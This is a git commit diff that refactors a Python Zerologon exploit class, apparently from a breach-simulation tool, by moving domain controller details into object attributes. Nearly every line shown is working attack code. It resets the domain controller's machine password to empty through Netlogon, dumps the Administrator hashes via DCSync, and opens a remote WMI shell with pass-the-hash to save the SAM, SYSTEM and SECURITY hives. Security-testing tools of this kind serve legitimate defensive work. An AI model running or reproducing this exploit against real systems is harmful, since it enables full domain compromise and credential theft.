Make DC details object attributes

This commit is contained in:
Shreya 2021-02-01 13:11:16 +05:30
parent a908d31fc5
commit 961d5f81f8
1 changed files with 36 additions and 36 deletions

View File

@ -97,13 +97,13 @@ class ZerologonExploiter(HostExploiter):
self.exploit_info['credentials'] = {} self.exploit_info['credentials'] = {}
def _exploit_host(self): def _exploit_host(self):
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
if self.is_exploitable(): if self.is_exploitable():
LOG.info("Target vulnerable, changing account password to empty string.") LOG.info("Target vulnerable, changing account password to empty string.")
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(DC_IP) rpc_con = self.connect_to_dc()
# Start exploiting attempts. # Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256. # Max attempts = 2000. Expected average number of attempts needed: 256.
@ -111,7 +111,7 @@ class ZerologonExploiter(HostExploiter):
result = None result = None
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
try: try:
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) result = self.attempt_exploit(rpc_con)
except nrpc.DCERPCSessionError as e: except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error. # Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working. # Otherwise, the attack is probably not working.
@ -124,11 +124,11 @@ class ZerologonExploiter(HostExploiter):
break break
self.report_login_attempt(result=False, self.report_login_attempt(result=False,
user=DC_NAME) user=self.DC_NAME)
if result['ErrorCode'] == 0: if result['ErrorCode'] == 0:
self.report_login_attempt(result=True, self.report_login_attempt(result=True,
user=DC_NAME) user=self.DC_NAME)
LOG.info("Exploit complete!") LOG.info("Exploit complete!")
else: else:
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
@ -141,7 +141,7 @@ class ZerologonExploiter(HostExploiter):
# Restore DC's original password. # Restore DC's original password.
if _exploited: if _exploited:
if self.restore_password(DC_HANDLE, DC_IP, DC_NAME): if self.restore_password():
LOG.info("System exploited and password restored successfully.") LOG.info("System exploited and password restored successfully.")
else: else:
LOG.info("System exploited but couldn't restore password!") LOG.info("System exploited but couldn't restore password!")
@ -153,46 +153,46 @@ class ZerologonExploiter(HostExploiter):
def is_exploitable(self): def is_exploitable(self):
return self.zerologon_finger.get_host_fingerprint(self.host) return self.zerologon_finger.get_host_fingerprint(self.host)
def connect_to_dc(self, DC_IP): def connect_to_dc(self):
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp') protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect() rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC) rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con return rpc_con
def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME): def attempt_exploit(self, rpc_con):
request = nrpc.NetrServerPasswordSet2() request = nrpc.NetrServerPasswordSet2()
request['PrimaryName'] = DC_HANDLE + '\x00' request['PrimaryName'] = self.DC_HANDLE + '\x00'
request['AccountName'] = DC_NAME + '$\x00' request['AccountName'] = self.DC_NAME + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = b'\x00' * 8 authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = 0 authenticator['Timestamp'] = 0
request['Authenticator'] = authenticator request['Authenticator'] = authenticator
request['ComputerName'] = DC_NAME + '\x00' request['ComputerName'] = self.DC_NAME + '\x00'
request['ClearNewPassword'] = b'\x00' * 516 request['ClearNewPassword'] = b'\x00' * 516
return rpc_con.request(request) return rpc_con.request(request)
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): def restore_password(self):
LOG.info("Restoring original password...") LOG.info("Restoring original password...")
LOG.debug("DCSync; getting admin password's hashes.") LOG.debug("DCSync; getting admin password's hashes.")
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP) admin_pwd_hashes = self.get_admin_pwd_hashes()
try: try:
if not admin_pwd_hashes: if not admin_pwd_hashes:
raise Exception("Couldn't extract admin password's hashes.") raise Exception("Couldn't extract admin password's hashes.")
LOG.debug("Getting original DC password's nthash.") LOG.debug("Getting original DC password's nthash.")
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes)
if not original_pwd_nthash: if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's nthash.") raise Exception("Couldn't extract original DC password's nthash.")
# Keep authenticating until successful. # Keep authenticating until successful.
LOG.debug("Attempting password restoration.") LOG.debug("Attempting password restoration.")
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) rpc_con = self.attempt_restoration(original_pwd_nthash)
if rpc_con is not None: if rpc_con is not None:
break break
@ -205,15 +205,15 @@ class ZerologonExploiter(HostExploiter):
except Exception as e: except Exception as e:
LOG.error(e) LOG.error(e)
def get_admin_pwd_hashes(self, DC_NAME, DC_IP): def get_admin_pwd_hashes(self):
options = self.OPTIONS_FOR_SECRETSDUMP.copy() options = self.OPTIONS_FOR_SECRETSDUMP.copy()
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
options['target_ip'] = DC_IP options['target_ip'] = self.DC_IP
options['dc_ip'] = DC_IP options['dc_ip'] = self.DC_IP
dumped_secrets = self.get_dumped_secrets(options=options, dumped_secrets = self.get_dumped_secrets(options=options,
remote_name=DC_IP, remote_name=self.DC_IP,
username=f"{DC_NAME}$") username=f"{self.DC_NAME}$")
user = 'Administrator' user = 'Administrator'
for secret in dumped_secrets: for secret in dumped_secrets:
if user in secret: if user in secret:
@ -242,14 +242,14 @@ class ZerologonExploiter(HostExploiter):
if nthash not in self._config.exploit_ntlm_hash_list: if nthash not in self._config.exploit_ntlm_hash_list:
self._config.exploit_ntlm_hash_list.append(nthash) self._config.exploit_ntlm_hash_list.append(nthash)
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): def get_original_pwd_nthash(self, admin_pwd_hashes):
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): if not self.save_HKLM_keys_locally(admin_pwd_hashes):
return return
options = self.OPTIONS_FOR_SECRETSDUMP.copy() options = self.OPTIONS_FOR_SECRETSDUMP.copy()
for name in ['system', 'sam', 'security']: for name in ['system', 'sam', 'security']:
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
options['dc_ip'] = DC_IP options['dc_ip'] = self.DC_IP
options['just_dc'] = False options['just_dc'] = False
dumped_secrets = self.get_dumped_secrets(options=options, dumped_secrets = self.get_dumped_secrets(options=options,
@ -264,13 +264,13 @@ class ZerologonExploiter(HostExploiter):
dumped_secrets = dumper.dump().split('\n') dumped_secrets = dumper.dump().split('\n')
return dumped_secrets return dumped_secrets
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): def save_HKLM_keys_locally(self, admin_pwd_hashes):
LOG.debug("Starting remote shell on victim.") LOG.debug("Starting remote shell on victim.")
wmiexec = Wmiexec(ip=DC_IP, wmiexec = Wmiexec(ip=self.DC_IP,
username='Administrator', username='Administrator',
hashes=admin_pwd_hashes, hashes=admin_pwd_hashes,
domain=DC_IP) domain=self.DC_IP)
remote_shell = wmiexec.get_remote_shell() remote_shell = wmiexec.get_remote_shell()
if remote_shell: if remote_shell:
@ -299,24 +299,24 @@ class ZerologonExploiter(HostExploiter):
else: else:
raise Exception("Could not start remote shell on DC.") raise Exception("Could not start remote shell on DC.")
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): def attempt_restoration(self, original_pwd_nthash):
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(DC_IP) rpc_con = self.connect_to_dc()
plaintext = b'\x00'*8 plaintext = b'\x00'*8
ciphertext = b'\x00'*8 ciphertext = b'\x00'*8
flags = 0x212fffff flags = 0x212fffff
# Send challenge and authentication request. # Send challenge and authentication request.
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00', server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00',
DC_NAME + '\x00', plaintext) self.DC_NAME + '\x00', plaintext)
server_challenge = server_challenge_response['ServerChallenge'] server_challenge = server_challenge_response['ServerChallenge']
try: try:
server_auth = nrpc.hNetrServerAuthenticate3( server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00', rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
DC_NAME + '\x00', ciphertext, flags self.DC_NAME + '\x00', ciphertext, flags
) )
# It worked! # It worked!
@ -335,9 +335,9 @@ class ZerologonExploiter(HostExploiter):
request = NetrServerPasswordSet() request = NetrServerPasswordSet()
request['PrimaryName'] = NULL request['PrimaryName'] = NULL
request['AccountName'] = DC_NAME + '$\x00' request['AccountName'] = self.DC_NAME + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['ComputerName'] = DC_NAME + '\x00' request['ComputerName'] = self.DC_NAME + '\x00'
request["Authenticator"] = authenticator request["Authenticator"] = authenticator
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
request["UasNewPassword"] = pwd_data request["UasNewPassword"] = pwd_data